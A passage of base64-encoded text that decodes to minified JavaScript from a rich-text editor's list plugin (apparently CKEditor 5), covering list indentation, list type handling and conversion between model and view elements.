U2libGluZzt3aGlsZShpJiZpLm5hbWU9PSJsaXN0SXRlbSImJmkuZ2V0QXR0cmlidXRlKCJsaXN0SW5kZW50Iik+ZS5nZXRBdHRyaWJ1dGUoImxpc3RJbmRlbnQiKSl7bi5wdXNoKGkpO2k9aS5uZXh0U2libGluZ31pZih0aGlzLl9pbmRlbnRCeTwwKXtuPW4ucmV2ZXJzZSgpfWZvcihjb25zdCBlIG9mIG4pe2NvbnN0IG49ZS5nZXRBdHRyaWJ1dGUoImxpc3RJbmRlbnQiKSt0aGlzLl9pbmRlbnRCeTtpZihuPDApe3QucmVuYW1lKGUsInBhcmFncmFwaCIpfWVsc2V7dC5zZXRBdHRyaWJ1dGUoImxpc3RJbmRlbnQiLG4sZSl9fXRoaXMuZmlyZSgiX2V4ZWN1dGVDbGVhbnVwIixuKX0pKX1fY2hlY2tFbmFibGVkKCl7Y29uc3QgdD1zQyh0aGlzLmVkaXRvci5tb2RlbC5kb2N1bWVudC5zZWxlY3Rpb24uZ2V0U2VsZWN0ZWRCbG9ja3MoKSk7aWYoIXR8fCF0LmlzKCJlbGVtZW50IiwibGlzdEl0ZW0iKSl7cmV0dXJuIGZhbHNlfWlmKHRoaXMuX2luZGVudEJ5PjApe2NvbnN0IGU9dC5nZXRBdHRyaWJ1dGUoImxpc3RJbmRlbnQiKTtjb25zdCBuPXQuZ2V0QXR0cmlidXRlKCJsaXN0VHlwZSIpO2xldCBpPXQucHJldmlvdXNTaWJsaW5nO3doaWxlKGkmJmkuaXMoImVsZW1lbnQiLCJsaXN0SXRlbSIpJiZpLmdldEF0dHJpYnV0ZSgibGlzdEluZGVudCIpPj1lKXtpZihpLmdldEF0dHJpYnV0ZSgibGlzdEluZGVudCIpPT1lKXtyZXR1cm4gaS5nZXRBdHRyaWJ1dGUoImxpc3RUeXBlIik9PW59aT1pLnByZXZpb3VzU2libGluZ31yZXR1cm4gZmFsc2V9cmV0dXJuIHRydWV9fWZ1bmN0aW9uIE1TKHQpe2NvbnN0IGU9dC5jcmVhdGVDb250YWluZXJFbGVtZW50KCJsaSIpO2UuZ2V0RmlsbGVyT2Zmc2V0PU9TO3JldHVybiBlfWZ1bmN0aW9uIFNTKHQsZSl7Y29uc3Qgbj1lLm1hcHBlcjtjb25zdCBpPWUud3JpdGVyO2NvbnN0IG89dC5nZXRBdHRyaWJ1dGUoImxpc3RUeXBlIik9PSJudW1iZXJlZCI/Im9sIjoidWwiO2NvbnN0IHI9TVMoaSk7Y29uc3Qgcz1pLmNyZWF0ZUNvbnRhaW5lckVsZW1lbnQobyxudWxsKTtpLmluc2VydChpLmNyZWF0ZVBvc2l0aW9uQXQocywwKSxyKTtuLmJpbmRFbGVtZW50cyh0LHIpO3JldHVybiByfWZ1bmN0aW9uIFRTKHQsZSxuLGkpe2NvbnN0IG89ZS5wYXJlbnQ7Y29uc3Qgcj1uLm1hcHBlcjtjb25zdCBzPW4ud3JpdGVyO2xldCBhPXIudG9WaWV3UG9zaXRpb24oaS5jcmVhdGVQb3NpdGlvbkJlZm9yZSh0KSk7Y29uc3QgYz1CUyh0LnByZXZpb3VzU2libGluZyx7c2FtZUluZGVudDp0cnVlLHNtYWxsZXJJbmRlbnQ6dHJ1ZSxsaXN0SW5kZW50OnQuZ2V0QXR0cmlidXRlKCJsaXN0SW5kZW50Iil9KTtjb25zdCBsPXQucHJldmlvdXNTaWJsaW5nO2lmKGMmJmMuZ2V0QXR0cmlidXRlKCJsaXN0SW5kZW50Iik9PXQuZ2V0QXR0cmlidXRlKCJsaXN0SW5kZW50Iikpe2NvbnN0IHQ9ci50b1ZpZXdFbGVtZW50KGMpO2E9cy5icmVha0NvbnRhaW5lcihzLmNyZWF0ZVBvc2l0aW9uQWZ0ZXIodCkpfWVsc2V7aWYobCYmbC5uYW1lPT0ibGlzdEl0ZW0iKXthPXIudG9WaWV3UG9zaXRpb24oaS5jcmVhdGVQb3NpdGlvbkF0KGwsImVuZCIpKTtjb25zdCB0PXIuZmluZE1hcHBlZFZpZXdBbmNlc3RvcihhKTtjb25zdCBlPXpTKHQpO2lmKGUpe2E9cy5jcmVhdGVQb3NpdGlvbkJlZm9yZShlKX1lbHNle2E9cy5jcmVhdGVQb3NpdGlvbkF0KHQsImVuZCIpfX1lbHNle2E9ci50b1ZpZXdQb3NpdGlvbihpLmNyZWF0ZVBvc2l0aW9uQmVmb3JlKHQpKX19YT1OUyhhKTtzLmluc2VydChhLG8pO2lmKGwmJmwubmFtZT09Imxpc3RJdGVtIil7Y29uc3QgdD1yLnRvVmlld0VsZW1lbnQobCk7Y29uc3Qgbj1zLmNyZWF0ZVJhbmdlKHMuY3JlYXRlUG9zaXRpb25BdCh0LDApLGEpO2NvbnN0IGk9bi5nZXRXYWxrZXIoe2lnbm9yZUVsZW1lbnRFbmQ6dHJ1ZX0pO2Zvcihjb25zdCB0IG9mIGkpe2lmKHQuaXRlbS5pcygiZWxlbWVudCIsImxpIikpe2NvbnN0IG49cy5icmVha0NvbnRhaW5lcihzLmNyZWF0ZVBvc2l0aW9uQmVmb3JlKHQuaXRlbSkpO2NvbnN0IG89dC5pdGVtLnBhcmVudDtjb25zdCByPXMuY3JlYXRlUG9zaXRpb25BdChlLCJlbmQiKTtJUyhzLHIubm9kZUJlZm9yZSxyLm5vZGVBZnRlcik7cy5tb3ZlKHMuY3JlYXRlUmFuZ2VPbihvKSxyKTtpLnBvc2l0aW9uPW59fX1lbHNle2NvbnN0IG49by5uZXh0U2libGluZztpZihuJiYobi5pcygiZWxlbWVudCIsInVsIil8fG4uaXMoImVsZW1lbnQiLCJvbCIpKSl7bGV0IGk9bnVsbDtmb3IoY29uc3QgZSBvZiBuLmdldENoaWxkcmVuKCkpe2NvbnN0IG49ci50b01vZGVsRWxlbWVudChlKTtpZihuJiZuLmdldEF0dHJpYnV0ZSgibGlzdEluZGVudCIpPnQuZ2V0QXR0cmlidXRlKCJsaXN0SW5kZW50Iikpe2k9ZX1lbHNle2JyZWFrfX1pZihpKXtzLmJyZWFrQ29udGFpbmVyKHMuY3JlYXRlUG9zaXRpb25BZnRlcihpKSk7cy5tb3ZlKHMuY3JlYXRlUmFuZ2VPbihpLnBhcmVudCkscy5jcmVhdGVQb3NpdGlvbkF0KGUsImVuZCIpKX19fUlTKHMsbyxvLm5leHRTaWJsaW5nKTtJUyhzLG8ucHJldmlvdXNTaWJsaW5nLG8pfWZ1bmN0aW9uIElTKHQsZSxuKXtpZighZXx8IW58fGUubmFtZSE9InVsIiYmZS5uYW1lIT0ib2wiKXtyZXR1cm4gbnVsbH1pZihlLm5hbWUhPW4ubmFtZXx8ZS5nZXRBdHRyaWJ1dGUoImNsYXNzIikhPT1uLmdldEF0dHJpYnV0ZSgiY2xhc3MiKSl7cmV0dXJuIG51bGx9cmV0dXJuIHQubWVyZ2VDb250YWluZXJzKHQuY3JlYXRlUG9zaXRpb25BZnRlcihlKSl9ZnVuY3Rpb24gTlModCl7cmV0dXJuIHQuZ2V0TGFzdE1hdGNoaW5nUG9zaXRpb24oKHQ9PnQuaXRlbS5pcygidWlFbGVtZW50IikpKX1mdW5jdGlvbiBCUyh0LGUpe2NvbnN0IG49ISFlLnNhbWVJbmRlbnQ7Y29uc3QgaT0hIWUuc21hbGxlckluZGVudDtjb25zdCBvPWUubGlzdEluZGVudDtsZXQgcj10O3doaWxlKHImJnIubmFtZT09Imxpc3RJdGVtIil7Y29uc3QgdD1yLmdldEF0dHJpYnV0ZSgibGlzdEluZGVudCIpO2lmKG4mJm89PXR8fGkmJm8+dCl7cmV0dXJuIHJ9aWYoZS5kaXJlY3Rpb249PT0iZm9yd2FyZCIpe3I9ci5uZXh0U2libGluZ31lbHNle3I9ci5wcmV2aW91c1NpYmxpbmd9fXJldHVybiBudWxsfWZ1bmN0aW9uIFBTKHQsZSxuLGkpe3QudWkuY29tcG9uZW50RmFjdG9yeS5hZGQoZSwobz0+e2NvbnN0IHI9dC5jb21tYW5kcy5nZXQoZSk7Y29uc3Qgcz1uZXcgY3cobyk7cy5zZXQoe2xhYmVsOm4saWNvbjppLHRvb2x0aXA6dHJ1ZSxpc1RvZ2dsZWFibGU6dHJ1ZX0pO3MuYmluZCgiaXNPbiIsImlzRW5hYmxlZCIpLnRvKHIsInZhbHVlIiwiaXNFbmFibGVkIik7cy5vbigiZXhlY3V0ZSIsKCgpPT57dC5leGVjdXRlKGUpO3QuZWRpdGluZy52aWV3LmZvY3VzKCl9KSk7cmV0dXJuIHN9KSl9ZnVuY3Rpb24gelModCl7Zm9yKGNvbnN0IGUgb2YgdC5nZXRDaGlsZHJlbigpKXtpZihlLm5hbWU9PSJ1bCJ8fGUubmFtZT09Im9sIil7cmV0dXJuIGV9fXJldHVybiBudWxsfWZ1bmN0aW9uIExTKHQsZSl7Y29uc3Qgbj1bXTtjb25zdCBpPXQucGFyZW50O2NvbnN0IG89e2lnbm9yZUVsZW1lbnRFbmQ6dHJ1ZSxzdGFydFBvc2l0aW9uOnQsc2hhbGxvdzp0cnVlLGRpcmVjdGlvbjplfTtjb25zdCByPWkuZ2V0QXR0cmlidXRlKCJsaXN0SW5kZW50Iik7Y29uc3Qgcz1bLi4ubmV3IFFoKG8pXS5maWx0ZXIoKHQ9PnQuaXRlbS5pcygiZWxlbWVudCIpKSkubWFwKCh0PT50Lml0ZW0pKTtmb3IoY29uc3QgdCBvZiBzKXtpZighdC5pcygiZWxlbWVudCIsImxpc3RJdGVtIikpe2JyZWFrfWlmKHQuZ2V0QXR0cmlidXRlKCJsaXN0SW5kZW50Iik8cil7YnJlYWt9aWYodC5nZXRBdHRyaWJ1dGUoImxpc3RJbmRlbnQiKT5yKXtjb250aW51ZX1pZih0LmdldEF0dHJpYnV0ZSgibGlzdFR5cGUiKSE9PWkuZ2V0QXR0cmlidXRlKCJsaXN0VHlwZSIpKXticmVha31pZih0LmdldEF0dHJpYnV0ZSgibGlzdFN0eWxlIikhPT1pLmdldEF0dHJpYnV0ZSgibGlzdFN0eWxlIikpe2JyZWFrfWlmKGU9PT0iYmFja3dhcmQiKXtuLnVuc2hpZnQodCl9ZWxzZXtuLnB1c2godCl9fXJldHVybiBufWZ1bmN0aW9uIE9TKCl7Y29uc3QgdD0hdGhpcy5pc0VtcHR5JiYodGhpcy5nZXRDaGlsZCgwKS5uYW1lPT0idWwifHx0aGlzLmdldENoaWxkKDApLm5hbWU9PSJvbCIpO2lmKHRoaXMuaXNFbXB0eXx8dCl7cmV0dXJuIDB9cmV0dXJuIEdjLmNhbGwodGhpcyl9ZnVuY3Rpb24gUlModCl7cmV0dXJuKGUsbixpKT0+e2NvbnN0IG89aS5jb25zdW1hYmxlO2lmKCFvLnRlc3Qobi5pdGVtLCJpbnNlcnQiKXx8IW8udGVzdChuLml0ZW0sImF0dHJpYnV0ZTpsaXN0VHlwZSIpfHwhby50ZXN0KG4uaXRlbSwiYXR0cmlidXRlOmxpc3RJbmRlbnQiKSl7cmV0dXJufW8uY29uc3VtZShuLml0ZW0sImluc2VydCIpO28uY29uc3VtZShuLml0ZW0sImF0dHJpYnV0ZTpsaXN0VHlwZSIpO28uY29uc3VtZShuLml0ZW0sImF0dHJpYnV0ZTpsaXN0SW5kZW50Iik7Y29uc3Qgcj1uLml0ZW07Y29uc3Qgcz1TUyhyLGkpO1RTKHIscyxpLHQpfX1mdW5jdGlvbiBqUyh0KXtyZXR1cm4oZSxuLGkpPT57Y29uc3Qgbz1pLm1hcHBlci50b1ZpZXdQb3NpdGlvbihuLnBvc2l0aW9uKTtjb25zdCByPW8uZ2V0TGFzdE1hdGNoaW5nUG9zaXRpb24oKHQ9PiF0Lml0ZW0uaXMoImVsZW1lbnQiLCJsaSIpKSk7Y29uc3Qgcz1yLm5vZGVBZnRlcjtjb25zdCBhPWkud3JpdGVyO2EuYnJlYWtDb250YWluZXIoYS5jcmVhdGVQb3NpdGlvbkJlZm9yZShzKSk7YS5icmVha0NvbnRhaW5lcihhLmNyZWF0ZVBvc2l0aW9uQWZ0ZXIocykpO2NvbnN0IGM9cy5wYXJlbnQ7Y29uc3QgbD1jLnByZXZpb3VzU2libGluZztjb25zdCBkPWEuY3JlYXRlUmFuZ2VPbihjKTtjb25zdCB1PWEucmVtb3ZlKGQpO2lmKGwmJmwubmV4dFNpYmxpbmcpe0lTKGEsbCxsLm5leHRTaWJsaW5nKX1jb25zdCBoPWkubWFwcGVyLnRvTW9kZWxFbGVtZW50KHMpO3RUKGguZ2V0QXR0cmlidXRlKCJsaXN0SW5kZW50IikrMSxuLnBvc2l0aW9uLGQuc3RhcnQscyxpLHQpO2Zvcihjb25zdCB0IG9mIGEuY3JlYXRlUmFuZ2VJbih1KS5nZXRJdGVtcygpKXtpLm1hcHBlci51bmJpbmRWaWV3RWxlbWVudCh0KX1lLnN0b3AoKX19ZnVuY3Rpb24gRlModCxlLG4pe2lmKCFuLmNvbnN1bWFibGUuY29uc3VtZShlLml0ZW0sImF0dHJpYnV0ZTpsaXN0VHlwZSIpKXtyZXR1cm59Y29uc3QgaT1uLm1hcHBlci50b1ZpZXdFbGVtZW50KGUuaXRlbSk7Y29uc3Qgbz1uLndyaXRlcjtvLmJyZWFrQ29udGFpbmVyKG8uY3JlYXRlUG9zaXRpb25CZWZvcmUoaSkpO28uYnJlYWtDb250YWluZXIoby5jcmVhdGVQb3NpdGlvbkFmdGVyKGkpKTtjb25zdCByPWkucGFyZW50O2NvbnN0IHM9ZS5hdHRyaWJ1dGVOZXdWYWx1ZT09Im51bWJlcmVkIj8ib2wiOiJ1bCI7by5yZW5hbWUocyxyKX1mdW5jdGlvbiBWUyh0LGUsbil7Y29uc3QgaT1uLm1hcHBlci50b1ZpZXdFbGVtZW50KGUuaXRlbSk7Y29uc3Qgbz1pLnBhcmVudDtjb25zdCByPW4ud3JpdGVyO0lTKHIsbyxvLm5leHRTaWJsaW5nKTtJUyhyLG8ucHJldmlvdXNTaWJsaW5nLG8pO2Zvcihjb25zdCB0IG9mIGUuaXRlbS5nZXRDaGlsZHJlbigpKXtuLmNvbnN1bWFibGUuY29uc3VtZSh0LCJpbnNlcnQiKX19ZnVuY3Rpb24gVVModCl7cmV0dXJuKGUsbixpKT0+e2lmKCFpLmNvbnN1bWFibGUuY29uc3VtZShuLml0ZW0sImF0dHJpYnV0ZTpsaXN0SW5kZW50Iikpe3JldHVybn1jb25zdCBvPWkubWFwcGVyLnRvVmlld0VsZW1lbnQobi5pdGVtKTtjb25zdCByPWkud3JpdGVyO3IuYnJlYWtDb250YWluZXIoci5jcmVhdGVQb3NpdGlvbkJlZm9yZShvKSk7ci5icmVha0NvbnRhaW5lcihyLmNyZWF0ZVBvc2l0aW9uQWZ0ZXIobykpO2NvbnN0IHM9by5wYXJlbnQ7Y29uc3QgYT1zLnByZXZpb3VzU2libGluZztjb25zdCBjPXIuY3JlYXRlUmFuZ2VPbihzKTtyLnJlbW92ZShjKTtpZihhJiZhLm5leHRTaWJsaW5nKXtJUyhyLGEsYS5uZXh0U2libGluZyl9dFQobi5hdHRyaWJ1dGVPbGRWYWx1ZSsxLG4ucmFuZ2Uuc3RhcnQsYy5zdGFydCxvLGksdCk7VFMobi5pdGVtLG8saSx0KTtmb3IoY29uc3QgdCBvZiBuLml0ZW0uZ2V0Q2hpbGRyZW4oKSl7aS5jb25zdW1hYmxlLmNvbnN1bWUodCwiaW5zZXJ0Iil9fX1mdW5jdGlvbiBIUyh0LGUsbil7aWYoZS5pdGVtLm5hbWUhPSJsaXN0SXRlbSIpe2xldCB0PW4ubWFwcGVyLnRvVmlld1Bvc2l0aW9uKGUucmFuZ2Uuc3RhcnQpO2NvbnN0IGk9bi53cml0ZXI7Y29uc3Qgbz1bXTt3aGlsZSh0LnBhcmVudC5uYW1lPT0idWwifHx0LnBhcmVudC5uYW1lPT0ib2wiKXt0PWkuYnJlYWtDb250YWluZXIodCk7aWYodC5wYXJlbnQubmFtZSE9ImxpIil7YnJlYWt9Y29uc3QgZT10O2NvbnN0IG49aS5jcmVhdGVQb3NpdGlvbkF0KHQucGFyZW50LCJlbmQiKTtpZighZS5pc0VxdWFsKG4pKXtjb25zdCB0PWkucmVtb3ZlKGkuY3JlYXRlUmFuZ2UoZSxuKSk7by5wdXNoKHQpfXQ9aS5jcmVhdGVQb3NpdGlvbkFmdGVyKHQucGFyZW50KX1pZihvLmxlbmd0aD4wKXtmb3IobGV0IGU9MDtlPG8ubGVuZ3RoO2UrKyl7Y29uc3Qgbj10Lm5vZGVCZWZvcmU7Y29uc3Qgcj1pLmluc2VydCh0LG9bZV0pO3Q9ci5lbmQ7aWYoZT4wKXtjb25zdCBlPUlTKGksbixuLm5leHRTaWJsaW5nKTtpZihlJiZlLnBhcmVudD09bil7dC5vZmZzZXQtLX19fUlTKGksdC5ub2RlQmVmb3JlLHQubm9kZUFmdGVyKX19fWZ1bmN0aW9uIEdTKHQsZSxuKXtjb25zdCBpPW4ubWFwcGVyLnRvVmlld1Bvc2l0aW9uKGUucG9zaXRpb24pO2NvbnN0IG89aS5ub2RlQmVmb3JlO2NvbnN0IHI9aS5ub2RlQWZ0ZXI7SVMobi53cml0ZXIsbyxyKX1mdW5jdGlvbiBXUyh0LGUsbil7aWYobi5jb25zdW1hYmxlLmNvbnN1bWUoZS52aWV3SXRlbSx7bmFtZTp0cnVlfSkpe2NvbnN0IHQ9bi53cml0ZXI7Y29uc3QgaT10LmNyZWF0ZUVsZW1lbnQoImxpc3RJdGVtIik7Y29uc3Qgbz1uVChlLnZpZXdJdGVtKTt0LnNldEF0dHJpYnV0ZSgibGlzdEluZGVudCIsbyxpKTtjb25zdCByPWUudmlld0l0ZW0ucGFyZW50JiZlLnZpZXdJdGVtLnBhcmVudC5uYW1lPT0ib2wiPyJudW1iZXJlZCI6ImJ1bGxldGVkIjt0LnNldEF0dHJpYnV0ZSgibGlzdFR5cGUiLHIsaSk7aWYoIW4uc2FmZUluc2VydChpLGUubW9kZWxDdXJzb3IpKXtyZXR1cm59Y29uc3Qgcz1aUyhpLGUudmlld0l0ZW0uZ2V0Q2hpbGRyZW4oKSxuKTtlLm1vZGVsUmFuZ2U9dC5jcmVhdGVSYW5nZShlLm1vZGVsQ3Vyc29yLHMpO24udXBkYXRlQ29udmVyc2lvblJlc3VsdChpLGUpfX1mdW5jdGlvbiBLUyh0LGUsbil7aWYobi5jb25zdW1hYmxlLnRlc3QoZS52aWV3SXRlbSx7bmFtZTp0cnVlfSkpe2NvbnN0IHQ9QXJyYXkuZnJvbShlLnZpZXdJdGVtLmdldENoaWxkcmVuKCkpO2Zvcihjb25zdCBlIG9mIHQpe2NvbnN0IHQ9IShlLmlzKCJlbGVtZW50IiwibGkiKXx8ZVQoZSkpO2lmKHQpe2UuX3JlbW92ZSgpfX19fWZ1bmN0aW9uIHFTKHQsZSxuKXtpZihuLmNvbnN1bWFibGUudGVzdChlLnZpZXdJdGVtLHtuYW1lOnRydWV9KSl7aWYoZS52aWV3SXRlbS5jaGlsZENvdW50PT09MCl7cmV0dXJufWNvbnN0IHQ9Wy4uLmUudmlld0l0ZW0uZ2V0Q2hpbGRyZW4oKV07bGV0IG49ZmFsc2U7bGV0IGk9dHJ1ZTtmb3IoY29uc3QgZSBvZiB0KXtpZihuJiYhZVQoZSkpe2UuX3JlbW92ZSgpfWlmKGUuaXMoIiR0ZXh0Iikpe2lmKGkpe2UuX2RhdGE9ZS5kYXRhLnJlcGxhY2UoL15ccysvLCIiKX1pZighZS5uZXh0U2libGluZ3x8ZVQoZS5uZXh0U2libGluZykpe2UuX2RhdGE9ZS5kYXRhLnJlcGxhY2UoL1xzKyQvLCIiKX19ZWxzZSBpZihlVChlKSl7bj10cnVlfWk9ZmFsc2V9fX1mdW5jdGlvbiBZUyh0KXtyZXR1cm4oZSxuKT0+e2lmKG4uaXNQaGFudG9tKXtyZXR1cm59Y29uc3QgaT1uLm1vZGVsUG9zaXRpb24ubm9kZUJlZm9yZTtpZihpJiZpLmlzKCJlbGVtZW50IiwibGlzdEl0ZW0iKSl7Y29uc3QgZT1uLm1hcHBlci50b1ZpZXdFbGVtZW50KGkpO2NvbnN0IG89ZS5nZXRBbmNlc3RvcnMoKS5maW5kKGVUKTtjb25zdCByPXQuY3JlYXRlUG9zaXRpb25BdChlLDApLmdldFdhbGtlcigpO2Zvcihjb25zdCB0IG9mIHIpe2lmKHQudHlwZT09ImVsZW1lbnRTdGFydCImJnQuaXRlbS5pcygiZWxlbWVudCIsImxpIikpe24udmlld1Bvc2l0aW9uPXQucHJldmlvdXNQb3NpdGlvbjticmVha31lbHNlIGlmKHQudHlwZT09ImVsZW1lbnRFbmQiJiZ0Lml0ZW09PW8pe24udmlld1Bvc2l0aW9uPXQubmV4dFBvc2l0aW9uO2JyZWFrfX19fX1mdW5jdGlvbiBRUyh0KXtyZXR1cm4oZSxuKT0+e2NvbnN0IGk9bi52aWV3UG9zaXRpb247Y29uc3Qgbz1pLnBhcmVudDtjb25zdCByPW4ubWFwcGVyO2lmKG8ubmFtZT09InVsInx8by5uYW1lPT0ib2wiKXtpZighaS5pc0F0RW5kKXtjb25zdCBlPXIudG9Nb2RlbEVsZW1lbnQoaS5ub2RlQWZ0ZXIpO24ubW9kZWxQb3NpdGlvbj10LmNyZWF0ZVBvc2l0aW9uQmVmb3JlKGUpfWVsc2V7Y29uc3QgZT1yLnRvTW9kZWxFbGVtZW50KGkubm9kZUJlZm9yZSk7Y29uc3Qgbz1yLmdldE1vZGVsTGVuZ3RoKGkubm9kZUJlZm9yZSk7bi5tb2RlbFBvc2l0aW9uPXQuY3JlYXRlUG9zaXRpb25CZWZvcmUoZSkuZ2V0U2hpZnRlZEJ5KG8pfWUuc3RvcCgpfWVsc2UgaWYoby5uYW1lPT0ibGkiJiZpLm5vZGVCZWZvcmUmJihpLm5vZGVCZWZvcmUubmFtZT09InVsInx8aS5ub2RlQmVmb3JlLm5hbWU9PSJvbCIpKXtjb25zdCBzPXIudG9Nb2RlbEVsZW1lbnQobyk7bGV0IGE9MTtsZXQgYz1pLm5vZGVCZWZvcmU7d2hpbGUoYyYmZVQoYykpe2ErPXIuZ2V0TW9kZWxMZW5ndGgoYyk7Yz1jLnByZXZpb3VzU2libGluZ31uLm1vZGVsUG9zaXRpb249dC5jcmVhdGVQb3NpdGlvbkJlZm9yZShzKS5nZXRTaGlmdGVkQnkoYSk7ZS5zdG9wKCl9fX1mdW5jdGlvbiAkUyh0LGUpe2NvbnN0IG49dC5kb2N1bWVudC5kaWZmZXIuZ2V0Q2hhbmdlcygpO2NvbnN0IGk9bmV3IE1hcDtsZXQgbz1mYWxzZTtmb3IoY29uc3QgaSBvZiBuKXtpZihpLnR5cGU9PSJpbnNlcnQiJiZpLm5hbWU9PSJsaXN0SXRlbSIpe3IoaS5wb3NpdGlvbil9ZWxzZSBpZihpLnR5cGU9PSJpbnNlcnQiJiZpLm5hbWUhPSJsaXN0SXRlbSIpe2lmKGkubmFtZSE9IiR0ZXh0Iil7Y29uc3Qgbj1pLnBvc2l0aW9uLm5vZGVBZnRlcjtpZihuLmhhc0F0dHJpYnV0ZSgibGlzdEluZGVudCIpKXtlLnJlbW92ZUF0dHJpYnV0ZSgibGlzdEluZGVudCIsbik7bz10cnVlfWlmKG4uaGFzQXR0cmlidXRlKCJsaXN0VHlwZSIpKXtlLnJlbW92ZUF0dHJpYnV0ZSgibGlzdFR5cGUiLG4pO289dHJ1ZX1pZihuLmhhc0F0dHJpYnV0ZSgibGlzdFN0eWxlIikpe2UucmVtb3ZlQXR0cmlidXRlKCJsaXN0U3R5bGUiLG4pO289dHJ1ZX1mb3IoY29uc3QgZSBvZiBBcnJheS5mcm9tKHQuY3JlYXRlUmFuZ2VJbihuKSkuZmlsdGVyKCh0PT50Lml0ZW0uaXMoImVsZW1lbnQiLCJsaXN0SXRlbSIpKSkpe3IoZS5wcmV2aW91c1Bvc2l0aW9uKX19Y29uc3Qgbj1pLnBvc2l0aW9uLmdldFNoaWZ0ZWRCeShpLmxlbmd0aCk7cihuKX1lbHNlIGlmKGkudHlwZT09InJlbW92ZSImJmkubmFtZT09Imxpc3RJdGVtIil7cihpLnBvc2l0aW9uKX1lbHNlIGlmKGkudHlwZT09ImF0dHJpYnV0ZSImJmkuYXR0cmlidXRlS2V5PT0ibGlzdEluZGVudCIpe3IoaS5yYW5nZS5zdGFydCl9ZWxzZSBpZihpLnR5cGU9PSJhdHRyaWJ1dGUiJiZpLmF0dHJpYnV0ZUtleT09Imxpc3RUeXBlIil7cihpLnJhbmdlLnN0YXJ0KX19Zm9yKGNvbnN0IHQgb2YgaS52YWx1ZXMoKSl7cyh0KTthKHQpfXJldHVybiBvO2Z1bmN0aW9uIHIodCl7Y29uc3QgZT10Lm5vZGVCZWZvcmU7aWYoIWV8fCFlLmlzKCJlbGVtZW50IiwibGlzdEl0ZW0iKSl7Y29uc3QgZT10Lm5vZGVBZnRlcjtpZihlJiZlLmlzKCJlbGVtZW50IiwibGlzdEl0ZW0iKSl7aS5zZXQoZSxlKX19ZWxzZXtsZXQgdD1lO2lmKGkuaGFzKHQpKXtyZXR1cm59Zm9yKGxldCBlPXQucHJldmlvdXNTaWJsaW5nO2UmJmUuaXMoImVsZW1lbnQiLCJsaXN0SXRlbSIpO2U9dC5wcmV2aW91c1NpYmxpbmcpe3Q9ZTtpZihpLmhhcyh0KSl7cmV0dXJufX1pLnNldChlLHQpfX1mdW5jdGlvbiBzKHQpe2xldCBuPTA7bGV0IGk9bnVsbDt3aGlsZSh0JiZ0LmlzKCJlbGVtZW50IiwibGlzdEl0ZW0iKSl7Y29uc3Qgcj10LmdldEF0dHJpYnV0ZSgibGlzdEluZGVudCIpO2lmKHI+bil7bGV0IHM7aWYoaT09PW51bGwpe2k9ci1uO3M9bn1lbHNle2lmKGk+cil7aT1yfXM9ci1pfWUuc2V0QXR0cmlidXRlKCJsaXN0SW5kZW50IixzLHQpO289dHJ1ZX1lbHNle2k9bnVsbDtuPXQuZ2V0QXR0cmlidXRlKCJsaXN0SW5kZW50IikrMX10PXQubmV4dFNpYmxpbmd9fWZ1bmN0aW9uIGEodCl7bGV0IG49W107bGV0IGk9bnVsbDt3aGlsZSh0JiZ0LmlzKCJlbGVtZW50IiwibGlzdEl0ZW0iKSl7Y29uc3Qgcj10LmdldEF0dHJpYnV0ZSgibGlzdEluZGVudCIpO2lmKGkmJmkuZ2V0QXR0cmlidXRlKCJsaXN0SW5kZW50Iik+cil7bj1uLnNsaWNlKDAscisxKX1pZihyIT0wKXtpZihuW3JdKXtjb25zdCBpPW5bcl07aWYodC5nZXRBdHRyaWJ1dGUoImxpc3RUeXBlIikhPWkpe2Uuc2V0QXR0cmlidXRlKCJsaXN0VHlwZSIsaSx0KTtvPXRydWV9fWVsc2V7bltyXT10LmdldEF0dHJpYnV0ZSgibGlzdFR5cGUiKX19aT10O3Q9dC5uZXh0U2libGluZ319fWZ1bmN0aW9uIEpTKHQsW2Usbl0pe2xldCBpPWUuaXMoImRvY3VtZW50RnJhZ21lbnQiKT9lLmdldENoaWxkKDApOmU7bGV0IG87aWYoIW4pe289dGhpcy5kb2N1bWVudC5zZWxlY3Rpb259ZWxzZXtvPXRoaXMuY3JlYXRlU2VsZWN0aW9uKG4pfWlmKGkmJmkuaXMoImVsZW1lbnQiLCJsaXN0SXRlbSIpKXtjb25zdCB0PW8uZ2V0Rmlyc3RQb3NpdGlvbigpO2xldCBlPW51bGw7aWYodC5wYXJlbnQuaXMoImVsZW1lbnQiLCJsaXN0SXRlbSIpKXtlPXQucGFyZW50fWVsc2UgaWYodC5ub2RlQmVmb3JlJiZ0Lm5vZGVCZWZvcmUuaXMoImVsZW1lbnQiLCJsaXN0SXRlbSIpKXtlPXQubm9kZUJlZm9yZX1pZihlKXtjb25zdCB0PWUuZ2V0QXR0cmlidXRlKCJsaXN0SW5kZW50Iik7aWYodD4wKXt3aGlsZShpJiZpLmlzKCJlbGVtZW50IiwibGlzdEl0ZW0iKSl7aS5fc2V0QXR0cmlidXRlKCJsaXN0SW5kZW50IixpLmdldEF0dHJpYnV0ZSgibGlzdEluZGVudCIpK3QpO2k9aS5uZXh0U2libGluZ319fX19ZnVuY3Rpb24gWlModCxlLG4pe2NvbnN0e3dyaXRlcjppLHNjaGVtYTpvfT1uO2xldCByPWkuY3JlYXRlUG9zaXRpb25BZnRlcih0KTtmb3IoY29uc3QgcyBvZiBlKXtpZihzLm5hbWU9PSJ1bCJ8fHMubmFtZT09Im9sIil7cj1uLmNvbnZlcnRJdGVtKHMscikubW9kZWxDdXJzb3J9ZWxzZXtjb25zdCBlPW4uY29udmVydEl0ZW0ocyxpLmNyZWF0ZVBvc2l0aW9uQXQodCwiZW5kIikpO2NvbnN0IGE9ZS5tb2RlbFJhbmdlLnN0YXJ0Lm5vZGVBZnRlcjtjb25zdCBjPWEmJmEuaXMoImVsZW1lbnQiKSYmIW8uY2hlY2tDaGlsZCh0LGEubmFtZSk7aWYoYyl7aWYoZS5tb2RlbEN1cnNvci5wYXJlbnQuaXMoImVsZW1lbnQiLCJsaXN0SXRlbSIpKXt0PWUubW9kZWxDdXJzb3IucGFyZW50fWVsc2V7dD1YUyhlLm1vZGVsQ3Vyc29yKX1yPWkuY3JlYXRlUG9zaXRpb25BZnRlcih0KX19fXJldHVybiByfWZ1bmN0aW9uIFhTKHQpe2NvbnN0IGU9bmV3IFFoKHtzdGFydFBvc2l0aW9uOnR9KTtsZXQgbjtkb3tuPWUubmV4dCgpfXdoaWxlKCFuLnZhbHVlLml0ZW0uaXMoImVsZW1lbnQiLCJsaXN0SXRlbSIpKTtyZXR1cm4gbi52YWx1ZS5pdGVtfWZ1bmN0aW9uIHRUKHQsZSxuLGksbyxyKXtjb25zdCBzPUJTKGUubm9k